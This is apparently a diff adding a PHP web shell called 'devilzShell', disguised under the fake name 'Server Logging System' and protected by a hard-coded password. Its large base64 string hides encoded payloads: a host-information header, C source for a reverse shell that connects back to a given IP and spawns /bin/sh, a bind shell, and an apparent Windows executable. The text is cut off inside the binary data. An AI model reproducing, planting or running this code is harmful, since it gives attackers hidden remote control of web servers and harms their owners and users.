^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +## Jayalah Indonesiaku + + +$shell_name = "devilzShell"; +$shell_fake_name = "Server Logging System"; +$shell_title = " :: ".$shell_name." ::"; +$shell_version = "v1"; +$shell_password = "devilzc0der"; +$shell_fav_port = "12345"; +$shell_color = "#374374"; +$shell_code = "JHhTb2Z0d2FyZSA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCiR4U3lzdGVtID0gJnRyaW0oJF5PKTsNCiR4U2VydmVySVAgPSAmdHJpbSgkRU5WeyJTRVJWRVJfQUREUiJ9KTsNCiR4Q2xpZW50SVAgPSAmdHJpbSgkRU5WeydSRU1PVEVfQUREUid9KTsNCg0KJHhIZWFkZXIgPSAkeFNvZnR3YXJlLiI8YnIgLz4iLiR4U3lzdGVtLiI8YnIgLz5TZXJ2ZXIgSVA6IDxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPiIuJHhTZXJ2ZXJJUC4iPHNwYW4gY2xhc3M9XCJnYXVsXCI+IF08L3NwYW4+Jm5ic3A7Jm5ic3A7Jm5ic3A7WW91ciBJUDogPHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+Ii4keENsaWVudElQLiI8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj4iOw0KDQokaWNvbiA9ICJpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUIva2xFUVZSNDJvMlJTMmdVUVJDR3E3ckhCMHJ3DQo0bWl3RldWbVBTbUlIcGFRU3dRRDRpdkdLSHNJbUlPeUJoSkVUVURqUmFNSUVqVGs0Z05GSXV0QndTY1k4ZUJoOWFCZ3lDR0NpS3U0DQpFNGt6QmswdWltaUkyMVhXd2diTW9yT3BwdW11S3VxcjZyOFJabW5qeGw4aVIwSDJEemZLVDAzSHNWTGhWK092ZTRyYzh4azR1WXR4DQpkQ0hnR1FIYy9TZEF1cXdaQjlqQ0FFN1Jud0xHUjhoSGJpSzUvYVF6Q2NDMEZQLyt1MllHNEtQeDIrcDE0U0tWVGJGSWlQZEk3L2VpDQpvTDk4d2htQXQ4YnYzTzdZODlzSXYyOWt6T3BTdkVOUjQxbFNEMUpoMEJRTGVHZjhqcTNhOW5heWV0WDJLVmhmZXRhOEdtMG51d2dIDQowK0ZJVFN4Z3pQZ3RtM1FoczVxUitrZ2Zxd0lZR2dWdVRtazYwRVBxL3A0dzJCMExrRzUrbDdJNVVkM0JVc29CQmxjMHVFVk9ha1dVDQp2eE1MS05xQThWNGMwclpXeVowbHpiSTJNOXJUcE5mS0QrUmlBVitNWDllaUNzOSt5VjJlY0xrYWNQZ2FVdmNOeGN1dVdIVzlQZ3IyDQp4UUplR3U5VXM3WW5qcE1hRnNFMkZHT2g4ZE4xMmw0OVNqalVHbzRrWXdFNTR4M2VxVzNmWGxKanJhd1NNdkxQTjhicmJ0QjA4aHlwDQpnYVl3YUlnRlRKakUwbDVsM3dmQVZSZElONHFRVDhUL2RodDVidGJxOXBWUi9sSkZFVVdIV2hGOWZuV1V6eGI5eDh1OWh3Y1Y3WmpPDQpEMXJIWFJ4OW1QZ3ZvTnhrcWptVHdLblh5TWxWZ0F0Y3h1Y0N5TXdhVU1uK0FNdkx6QkhOaXZxM0FBQUFBRWxGVGtTdVFtQ0MiOw0KJGJnID0gImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFBTUFBQUFEQ0FZQUFBQldLTFcvQUFBQUprbEVRVlI0Mm1Oa0FBSXBLYW4vYjk2OFlXQUUNCk1aNDlld2FtR2RuWTJQNkxpSWd3Z0FRQTh4WU5ZaGVvdE5jQUFBQUFTVVZPUks1Q1lJST0iOw0KJHhCYWNrID0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bA0KZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaaw0KT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3SUEwS0lHUmhaVzF2YmlneExEQXBPdzBLSUhOcGJpNXphVzVmWm1GdA0KYVd4NUlEMGdRVVpmU1U1RlZEc05DaUJ6YVc0dWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOXBLR0Z5WjNaYk1WMHBLVHNOQ2lCeg0KYVc0dWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FXNWxkRjloWkdSeUtHRnlaM1piTWwwcE95QU5DaUJpZW1WeWJ5aGhjbWQyV3pKZA0KTEhOMGNteGxiaWhoY21kMld6SmRLU3N4SzNOMGNteGxiaWhoY21kMld6RmRLU2s3SUEwS0lHWmtJRDBnYzI5amEyVjBLRUZHWDBsTw0KUlZRc0lGTlBRMHRmVTFSU1JVRk5MQ0JKVUZCU1QxUlBYMVJEVUNrZ095QU5DaUJwWmlBb0tHTnZibTVsWTNRb1ptUXNJQ2h6ZEhKMQ0KWTNRZ2MyOWphMkZrWkhJZ0tpa2dKbk5wYml3Z2MybDZaVzltS0hOMGNuVmpkQ0J6YjJOcllXUmtjaWtwS1R3d0tTQjdEUW9nSUNCdw0KWlhKeWIzSW9JbHN0WFNCamIyNXVaV04wS0NraUtUc05DaUFnSUdWNGFYUW9NQ2s3RFFvZ2ZRMEtJR1IxY0RJb1ptUXNJREFwT3cwSw0KSUdSMWNESW9abVFzSURFcE93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2lMQ2hqYUdGeQ0KSUNvcE1DazdJQTBLSUdOc2IzTmxLR1prS1RzZ0RRcDkiOw0KJHhCaW5kID0gIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjUNCmNHVnpMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE4NCkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MElHRnlaMk03RFFwamFHRnkNCklDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnkNClpXMXZkR1U3RFFvZ2FXWW9abTl5YXlncElEMDlJREFwSUhzZ0RRb2djbVZ0YjNSbExuTnBibDltWVcxcGJIa2dQU0JCUmw5SlRrVlUNCk93MEtJSEpsYlc5MFpTNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBiMmtvWVhKbmRsc3hYU2twT3cwS0lISmxiVzkwWlM1emFXNWYNCllXUmtjaTV6WDJGa1pISWdQU0JvZEc5dWJDaEpUa0ZFUkZKZlFVNVpLVHNnRFFvZ2MyOWphMlprSUQwZ2MyOWphMlYwS0VGR1gwbE8NClJWUXNVMDlEUzE5VFZGSkZRVTBzTUNrN0RRb2dhV1lvSVhOdlkydG1aQ2tnY0dWeWNtOXlLQ0p6YjJOclpYUWdaWEp5YjNJaUtUc04NCkNpQmlhVzVrS0hOdlkydG1aQ3dnS0hOMGNuVmpkQ0J6YjJOcllXUmtjaUFxS1NaeVpXMXZkR1VzSURCNE1UQXBPdzBLSUd4cGMzUmwNCmJpaHpiMk5yWm1Rc0lEVXBPdzBLSUhkb2FXeGxLREVwRFFvZ0lIc05DaUFnSUc1bGQyWmtQV0ZqWTJWd2RDaHpiMk5yWm1Rc01Dd3cNCktUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01DazdEUW9nSUNCa2RYQXlLRzVsZDJaa0xERXBPdzBLSUNBZ1pIVndNaWh1WlhkbVpDd3kNCktUc2dJQ0FOQ2lBZ0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2lMQ2hqYUdGeUlDb3BNQ2s3SUEwS0lDQWdZMnh2YzJVb2JtVjMNClptUXBPdzBLSUNCOURRb2dmUTBLZlEwS2FXNTBJR05vY0dGemN5aGphR0Z5SUNwaVlYTmxMQ0JqYUdGeUlDcGxiblJsY21Wa0tTQjcNCkRRcHBiblFnYVRzTkNtWnZjaWhwUFRBN2FUeHpkSEpzWlc0b1pXNTBaWEpsWkNrN2FTc3JLU0FOQ25zTkNtbG1LR1Z1ZEdWeVpXUmINCmFWMGdQVDBnSjF4dUp5a05DbVZ1ZEdWeVpXUmJhVjBnUFNBblhEQW5PeUFOQ21sbUtHVnVkR1Z5WldSYmFWMGdQVDBnSjF4eUp5a04NCkNtVnVkR1Z5WldSYmFWMGdQU0FuWERBbk93MEtmUTBLYVdZZ0tDRnpkSEpqYlhBb1ltRnpaU3hsYm5SbGNtVmtLU2tOQ25KbGRIVnkNCmJpQXdPdzBLZlE9PSI7DQokd0JpbmQ9IlRWcVFBQU1BQUFBRUFBQUEvLzhBQUxnQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUF5QUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXYNClpHVXVEUTBLSkFBQUFBQUFBQUEwR0FrNWNIbG5hbkI1WjJwd2VXZHFtR1pzYW5GNVoycnpaV2xxZW5sbmFuQjVabXBOZVdkcUVtWjANCmFuZDVaMnFZWm0xcWFubG5hbEpwWTJod2VXZHFBQUFBQUFBQUFBQlFSUUFBVEFFREFJa0xsRDhBQUFBQUFBQUFBT0FBRHdFTEFRWUENCkFEQUFBQUFRQUFBQVFBQUFZSElBQUFCUUFBQUFnQUFBQUFCQUFBQVFBQUFBQWdBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFDUUFBQUENCkVBQUFBQUFBQUFJQUFBQUFBQkFBQUJBQUFBQUFFQUFBRUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUFDQUFBQUlBUUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRlZRV0RBQUFBQUENCkFFQUFBQUFRQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBT0JWVUZneEFBQUFBQUF3QUFBQVVBQUFBQ1FBQUFBRUFBQUENCkFBQUFBQUFBQUFBQUFBQkFBQURnVlZCWU1nQUFBQUFBRUFBQUFJQUFBQUFDQUFBQUtBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQXdBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU15NHdOQUJWVUZnaERRa0NDYk9lWVUwMVZiNUg2MVFBQUZVaUFBQUFZQUFBSmdNQURDZmsNCi8vK0RmQ1FFQlhVSWFnRC9GVEJBUUFEQ0JBQ1F1Q3gwMy83L0VnQUE2QU1BQlN4VFZWWlhhQUFRSTJnd1VFQXVITjF2Mzk2TDBMa0gNCkhnQXp3STFHUFBPcnVBUU12L2FYM2JzUUJJbEVKRUFEUkkwOE05dFFVb2tmOW5hei9VU0pYQ1JRTmd5aGVGWUV2dmRsSi82disvK0QNCitBR0pkQ1FVZmh5TERZUVRVV2tYZzhRRVpqdkRiSGYvN2o0VWRRUWRqWlFrckZOU2FnSSs5SGIvdXQrRndBK0ZRd0k4UFVjRGZYNVQNCkFHb0IrNzc3K3g3b2xQQTc4ellZRDRRZUFwdFRTYTNwdXE0Z2dCUUhKQU1vTENwN3ZtMmI4R2JIQ2h3a2kwd2tGRkZBN1UzM1oreFUNCkpCQm12UjRjVWxCV2RaRHVjcERjelFGcUNoRGtYamZzWnJ5TExVVFRUaEQrVy83dDF0YVZJSXR1R0kxTUpCQ05WRkZHL3ZZZ1c1emcNCmROUHA1Z0lRYUJBbkFCYk9aaHBIUVAySVZOQWJidDFITzlOMHNKTVF1NHZ4V1N6QnUvLy93dWtDWEl2T2crRUQ4Nm9QdjBvS2kxSU0NCmk4RVlNSXZLOTU2L01ocWxpOGlreHRFc2hHOEl3Y2tZelVZZDZWNjdzQmxPL3dEbTRTeGI1d1laMkRVWXRGaEExZDEzbHcxMlBBSm8NCkJPTlN4NFFrak5nQnpuNTRjd3RNbkNTUTQ3UWttQWFjSHR0OFQ2QUF6enlOdkRxRHlmL0c3bmZjd21oUUx2S3U5OUZKaVovR2hBQ2ENCnB1bTZHVndIUldWQlkybWFybWxHZUI5Q2JVZlRtZThHUXdka2lKd01TQTVFOTRzOVd5NW1PSVI2cjFCUjZiWk4xMW9RNndXMlhGTlMNCjFEU0Q2UXBIZFE0QTRkUjNIUCtRYmdGRkM4eGZYbDFiZ2NUajRZNUhOdmtJZyt3UTZEUHRWOG9LbDd2SDZBY1VJQkNKYk0wVS9tYnINCkF4dzhUR2cvQUE4QVZWVk1SbXIvTEZRRStEdjlkSGwvR2xkZWVQZlpFd2dkQUFVN3hYUUYrdFByV2Z2ZHROa1VTRDBrSW5WTVZRQlcNClZaY09jN2RkTXY4QlNXZzROendRczIybGYraUY3WFFqbFFGVlRSUUxidHZPTlF6V0lOYTBWbHR4YzQxTEpSRENhNmxkaVMzdDltYkoNCmZIZ0JPVDFzVWdwK0VTRHZmbmY2YWdpS0JsQlBLUWpyRUlzVllGNHp5WW9Pai9IZi9Zb0VTb1BnQ0pnRFJ1dlFnRDRBZEdhN2lUU0YNCjFuNTd1NEFHUUtNTU9rWThJblVZQmdXeTdYLy9kQXRHaE1CMFFncDE5VWJHQmdBMW1tVWVPOGxteVE1UkQ2Rmswb29XK3EwZFdWQjENCnpoOC95WFFDNjh0WE9HbG9CeENVR0FjQU5qck0zRklBK01mT3pJRHlIMnY2Wll1cmc4Y0JmZzhQdGdkcUNObGU2WDFaV2VzT0xHVEYNClFRci85cktGd0VmcjBoVTNSNFArTFl2dWJHR3QxOW9HS3pVUGRrTXNady83REdvRVZrQUxvVHh3QlAzMjc5OE5qUVNialZ4RzBERHINCno0UDlRc04xQXZmWXliN2IrcExELzBNRU5nU01XY1BNQUIwZm84QlJQUUp4Q0hJVWdVSVZ2LzJ4M3o0dEVJVUJGM1BzSzhpTHhBeUwNCjRZc0lpK0gvallWQUFzTWg3RkdMUlFpTlNBR0IrUUNmc0hSN3RuY012USszdnV0U3QxYi8vKzJ2MXc3QitRaUIwZlpFVmdHQVhuUU8NCmdHWCtBSWhOL0kzTGR1T0lSZjBnNndrTi9VWDgyclh0ai9aWWpVMEtCUk5SVUkwUVVBdmZicmpRblFkbXhCeE9Bc25EVTBVS0kwV3kNClk0SGZETWwwYXYrcVFWS1VJdUhHZS9ka29RQUFVR1NKSlFmZ1dGTmk4U05jZUlsbDZJbDBRS3ZVaVJYNFZOdDNuOTVoeUlIaC84Z04NCjlBM0I0UWdEeWdydzNBKzdQK2dRbyt3SE0vWkZFVnBaYnJzM3VnMHdIQXNHMW9sMS9BZ1ByK3k3OWtrV294aGFCQThPZmFQUVZBbHMNCjIyWjNEREFFQzNjSW1TdlF0NlQzL3pNTkNFUVdINGxGblBaRjBBRjBCcnMwdlMxdzFPc0RXbGdkZFp4V29YQUx2MlhYVUNNRERLQUkNCkNNWkg3R1ZENlExVkNZbE5tT3pPQ1pzMkY3N2R3NHZIZFpnZTErM1lWSFVGV08wZzdBMFRhTHdUb1FtVmJBaHo1WGhTTHlSWkpYaEwNCk9CRUM3QUR1N2pZYnhBaUxDOGdGREhVSkR3VDM0ZHY0M1RxclV3V0wyQjMzWkswRENaemdMakNFMDFzYWZ4aDhlSEtFR0tIY1U5czcNCk5kZ3NiSEEremVSZVZoRjdmNlRPTS95QUluUUVpOGJySFJzWStXU0Rad3hUaUh5RXpnQXR2TUc3QWxpalEyd0NkU1FjSEdWYk1OMUoNCkJhRkV2QkVVQWhEWU1TdVZERGt6cVFpSHQxOExtR3pnbENSZEdCbWhWR09iYlUvMFJZMVRMRUVnK0luVzBIUWJ3RlJBaEJnM3diL3gNCmIxOGY0RlowWTRsZC9JMDhJY2VEd0FNa2RtRVhpL3dOd0l2MDBOeFh6RGhLeTQ2RkZQd01XNlBCeGtZN2tkUXFnNy8veWRyczF1a3ANClNlQldYeHhWUEhPdGMxSVJGTmVnN2VzQ25ZVUxYVU5sYlUzd0pnMkpDRzhzZ1Z2SW9SUmFDTmdIODBCaDBCb2hDUHF1SVYrRGdaUU8NCkFENW5kZzJud3hqUURJNEk2QkM1dFUzSUFWY1BYN2tvVmJNOU9uZDFFUmg2TEdVR2hIQnhvU0VJRE5TTFhBbWQvZDBWcENLSUhTQW8NClBLRVFneUkvKzk4dHVBd0pWbzF4L0R2d2NoT0xCcGVEN2dRN2hueUZ2elVpYysxZThwUVV3NWQ4TjI1b0lCQWNoZHRiQzYxbnhEcDYNCmlZWndYOE1GdFNmYmRSSTdxbk1OVjhZRTYxSEN0bXM0eXA0SVBncmNHRm40TjF2N3hTQndXQWhJQ2hXRCt3WGxEZDBMV1lOZ0NPcFkNCjR3clpnL3VOa3R2TWhQYXVMR0VzdmJiclk2Vk5RZ3VMU0FTRFo0WElIZi9OclRUNEVBVVYvQVBSVmp2S2ZSV05OUEMzM2UxSks5RUUNCnRZZ1NneVlDeGd4S2RmZUwzYllPZG5nRVU3ZU9NOEJweHdXZkFYdjNESU5BNjNBOWtCS0JYVDBCK1JtUWtZUktQWlA1R1pDZmhUYzkNCmpZSWtQWTlPbnA4QmhoRTlrZ3FLYXkyTW5aMklhclhUZEFwcndIMGZXVjdyQ1BwUkVXT2o0MWx3RlBpRHlQOHhiRmtvMXlpNXVGdGQNCncrUkdVUzd1ZmJ0R09XalpWcmdGZE8zcjdSdjhuNERBRER2R2N3UTVFTjJOREVsZUEreHlmTCtORlR2QkVuU1dNd2hhZUJrNHNnQVoNCldySGtSRFB4a1E0bGlrWUJKMDAyR3k3UUlCSEF3RkNuRlZSMDV2aTJsU1ZhNHlFTkJ3bzhJSGE2cnIyVlRRd2dkL28wS0FRUDZmVXUNCkxaVFoyMU1uT1IxYTI5Y1dyQTViV3RBVC95YzZBbi82U3lFU1BEMTBBVWRkR3h4WmpTTDhUbTN3QWV2b3JMMWhaaHFjQTI1SFczdFoNCjV6VUk5WTdzZnd0UENjWUhQVUU0SDNRNVZWYzVpdDIrUlVoWlJZQS9TU0pWTkxaWXRsQjVQQVl1T3pheGIzZjhlS3haYmxrRC9UZDENCnlWMy9oRVBwdDMwV2Rpc2RDNGtlalljMkJsODRxV0ZiMUZHOXJ4aTVWNzR3aWkycFA3YkRxWkFUS2FJWWZQNDRnNjFDaFJoTko4NzQNCnZOb0dyeFYxbjZ5TER5ME4yemFnL05pSTFLZ1l0V0dUcnRhaENDOG4yeldzMVNTR01UVndGRWhhenVWdVpnQ2NvL3lsTDVoU3U3VnQNClRCZ2NGSlNESVhKcWpsaGppMHA5VkxVZ3JkVkxwWVY0ZHplRHgxTVU4Z3Yvd29BNG0wU0tVQUZBZ1BxK0tZVFNkQ1VYM3JqOTB2YUMNCjRWZEhCSFE5QVlYMmNJb1FIVHN5OW9nV1JrQUwxZXZPREFTQXlOanRMUjFHUUJ6clF4NEZmMHZldGdSQVJOcjJneGtZaUI1ZTNwcTcNClJtVWdkQWtKQ0FsMXpIVURTTFkzampXN1NtYi9nR1VZQUU0QSs3NW1scmJnUkNzRkp3TmVlR0JtYlBFWHlMeUxWYmJDYXhmZkFzZlENCjE0VWlYTkg0OXkzd1FFUHI5NUlzOXNNQmx0emFYN2hCT1gxdERZQjRBU0tONHgyTHdpaGgyRXBiTndnTTd1LzJ0OThZR0ErVXdva0YNCjBldUwwMHVGa3c1RGlOcGJvVUxYQmJGTGRmT0EzMFpyNUtjZ1AxVUtpaitzdTlRMmREb1BaM1F1S0JuaXdna1RCZ1lmR3c5QXNHdHoNCkF3TVZBVUNRRGJXcjNkZUdNQThPZzhjRGcvZVVtZ0ZEbytIN29PT0ZEbTVKb1RTSVU3c3RwRUJOTmdmdHdUM0F6QVRWK2ozWEFTMFcNCkllM3JLR1lXVHBadlZQc1g2aHN6c2dOekF1SVBXb0hkYkxNT1F3dy9KOEptT1I1dDBGb3JjK3M3Q1B2NU5uWkxud2J5SzhZdlVFN1INCitJNUEwaDJ3MFFKZFV5czAvOWMxS1ZkTCtqdnJkREl5QzQxcXJvRmJIRlZRdXlRbElXMkQxTDFXREJBblhBbUw5c1RQMWdOV25wakQNCjYxT1ZUS1VTcFpPNWhiRjBQR0JEMHZadiszUUtRRGg3K3dUMks4ZEFhbFhPVW9sV1dLcjdScnAwNVdDazlaeXpEcFJmUERyeHhpQ1YNCncrd3c3SENDUklzUk9tSFRwS2xsTWhzVldVQVk0RFhBc2dCYUlCNkdLZnV0Yk55MGN4cHRCTGJHUmdVS29TTkM3dS9TOVFnRkcrdmkNCmplR1lUaDFOREdZSlFuWEZOZW4zUlFuQ2Jya0xNSTNjdS8xWFlyaEtTbzBjTG53Q2RqazFZejZ3elAxOVVyOEVUSThBT0lQUy9OalANCmY0a0hqWWgrd1hNWWdHQUlHSHVCeTBDTEQzWUlnY0Y4NUJWaWYrYlZTWHk3NndhTENmdnhMMnk4MFg1R2l5cjRaRGFLVFFEMndRRXcNCm9lNnRmZ1FJZFF1bHNCNmxDbzIvME1lTHo4SDRCWTFWeTNRdjFIclBJYVVMaVFndmlEVmU0aHZyUjBXRHc1ditmTHBRS1BFQ24rdzgNCjJQL3kySFZOT3hhM2IxMEFCSUcwYXZaWTY0akRTUFc3SGFFN3dQVllyS2lELzNNWFYyYjlNRkluRENVVlB0QUdnRTRyODlZb2F1b0sNCkEzVUs4TVcreEc0RUJZQkRkQU44bS8rNEFqd3JzemFvMGtURGhYclZVWU4zR1dnY2VHUnJVSFlnVmJTajZGamNPalk4aFM0ZTBVb1ANClBPaFk2SkFEODZCeVNMOVlPTkY3L09kVjJHaTAyUFJZdUNFZUNDNVNYVHFMNWFmdWpqcmJUSXRCQkFhZXVCM3J2b3pSZEErdFZJa0MNCnVBTVF3ejdOanY2aGk5bHEvbWk4SVluL05RREZMcm9nR1NCS2kzQytzT08yUVA3eExqdmFkQ2doZG9zTXM0WGJWZ21wYlVnWGZMT3gNCi9mYnYrM1VTYUFFQkxiTjlFbTcvVkFqcncyU1BCUWp0bk9ORG9vem5aSXUydCtEUzk0RjVCR2gxRFZFTXBUbFJtTGg3QzdFRm00cFINCnV4U0Yyd29FSzNFSXFHRkxBcmRHZkd0RDBHc01XVnQzNzFaRDZHL0QvVEl3V0VNd01QZmpDUHI4aTExWWlpM2xsMWhBNU5tQzVxQjENCmNJa3hSZUVQQ0ludnNyVStJWE43Q01GaHVsdjdsMjEyc1k5MFJWWlZqV3NRcUF0ZEk3b1h1bDVCQzhRemVEd2xVMTREeHJweUVaZ2QNClZnemF0V095RlZ3MmI5NlBTbnpudW0yUFZRdzdDREFhaXpTUDY2SHFIZnRxOW53Y3llc1ZYRU9JVFZiZ1AxMFdsTFZDYjJpOE80c3ANCmkwSDJBMTUxeVJvUUpPR2hlNjBhQ3JpaG1mSXFpbldzM005OFVpRm8vRDZHb1RoV2oyRFV5MW53ZFp6d0gvNWcxNEhzcElSVkNEUEoNCnVDalkzYlRWUGp1UUMwSkJQYmdNZlBHNWhmZTNsZkhCNWdNN2xob21IQ3BKWjVhR2JMem9jQTNYOWg2NkVOZW8rblVMOFNCc1JHTGgNCmhWdysvN2twQU9YQnVrbTZNQk1YL0VOQUxYRjJGaVpaRWxlU3ZXZHZ4K0lIWVVCWlpUeDJLUmxRTDNCMkZuVDREWU5HYWdNRE43T3ANCjd2aG8rRUZYcUNlc1ZXRC94czZTTk53UVZ3eTh6UDJRd1IzWXZQKzJMTk1XekZTcjJSRUtCQ2ZCTDk4WnNGa2FMRi9ySm8yRW1ob3INCmF6QnExelk3VGRPazNRaHE5TngveEY1T1RVT0F5ZVF0REVkTHBvMG1DRWZGaWo4eCthcEVLZjZEK2dSeUxmZlpWSFJ2dnY5ZkU0Z0gNClIwbDErb3ZJd2VBSUE4RUdFTXFENGdQWFhhSVVld1B6cXpvR0l3NG81VXhLUHMwaXhEbkpWbzBFRldWUDNJQ3VIaGFLUTRTSUpIVmINCjBJU0JIR1pURGdsRmhnT3VxMm9oSXp2a2VDUXpVcVFCL3dVWTlwb0JmdkFYTHlFMXVMUVFmWENpRmJnaS9ONVdMSmQzL0FuU3VNZ1YNCk9UQjBjakJDVkZHYVl1RU42TnVjOTlZVkl4Z2t2a0JqV2IvZ2d0QVdld25UNkFHSlVNT3FjWE9qdGVua2dBK0c3NEI5N3JHMStOTVoNCnUwM3ZpaEVQREs2eDkwMzhMTFpCLytRN3dnK0hreVhIVzIxWkF3N3VVa2cvVXV4K293RXNpd1Nxalo3WWtZQTd2MDNvYjdUTGRDeUsNClVRRmtoYmI2TzhkM3QyLzNqUlRKL0lxU3dDQUlrRVpBRTNiMWJCdTY4RUZCZ0RrWTFQL2N3d2lkL0VHV01DMkV3Zno5ekcwV0h0NVENCm82d0xlZVRNdjhCMDdQN2VENldsV2FPN3BldFZRSG4vLzBnOWZXWndHa0toQ0VBOVNuS3diQllySXprc1ZEYldYbXR4K2d2Q1Rhc0ENCnZvTGI2T3NOMkZ3S216Q3M0S3BRK3dUVkhVRmJhbmdmSHBYZmd5VWhWZjRqUE1qVzZrdGMveVY0YXYwb01ISmhGR3o4NVJheFpTZHkNCkdVbjFVS21VZ2FtZUtpaTB3YlkyRndRTmJrZ2dkalpUT3dHNEJPa0ZFZ3NnTHp6UENCRlhiRmt6d040YklkaXF0QmVqeGR3YkJzNzYNCncxOHpGS1FFN0FhTUNJMVc5K2NLRmd1bWZ6ODB3TDZIaUlRRjdLeUN4cVc2K3Y1eTlJcEY4c2FGRFNDcE42TXY0ZXJHalZWZ3RncmENCnYzY2RLeGkwZSt6SWpid3FRYmdnQUl2Wmx6Yjk5cy9MUWtLS1F2ODBkZEJmVzJxZDdQcFlhL1lhZ3pXTmVqRlduYkZneEZhMUkvMnkNCm0wMzJIVlllVmpRaktLcXdRMWN5L0dqdkozOWJzQlJlWEQyTmNtYUxFYitmc01EMndtQVcraENLbEFWa2lKQk8zZ3FZNEw4YUFuUVENCklNWmJBSGRicHFBY2dXSENEWTA4QUwvclNSVWxmMWhqdTBGeUdRUmFxa3ZJZ01FZ2lKT1h0N0dJU1I4ZFlYSVRlbmNPcm03WW15RHANCklPdmdURXErWmVIWGd3RTZFbXI5Q0paWi9GK2RZSElJV3ZRREpOQ29nUitYSHcvMlZob1dMVmcrWng4NlhyMFRRTU42SGJ5eHNOZEkNCmZNc2NKMnFOcENUQy83dXM0Wkg0Vi9mQkEvNktBVUcyT3c0Uy9mLy9kZkdMQWJyLy92NStBOUNEOFA4endvUEJCS20vaHQ5dDhJRjANCjZKZjhKaU9FNUhRYXFVaDBnUjRkNkttbm84Mk55OHRib3ovK0JQN3JDUDNyQS96YUdzd1I5bDhaQzBFTS9XQnZ4V1NJRjBkaTd1c0YNCmlSZStyQkNzeFdkdWFZTnJOL2EybStFdk5JVGtKL2ZDYVJJSDJRbTBzV3JIT0M1bUNMWWxLOUhHN2d3SWlBY2p3OWtJdUhBcVdzVWINCjllaXUvckhnZHlJT2JUbzZ1MjNhZFJaa21KNkRGZG9US3ZuZVJic2JPRUpZTmNBTmR3dFdHaUpscUJSTlBSd3VBM0J5Q1MvVS84cm0NCjhGWnFaRUU0eEFZQVgxNkkwSkNURkVBQTVLUzVTR015SkJOSnRrZTRRYlVyd2NNSi9xYlpaSkw5L0liR29OQlN0RmZGblUxU3R0R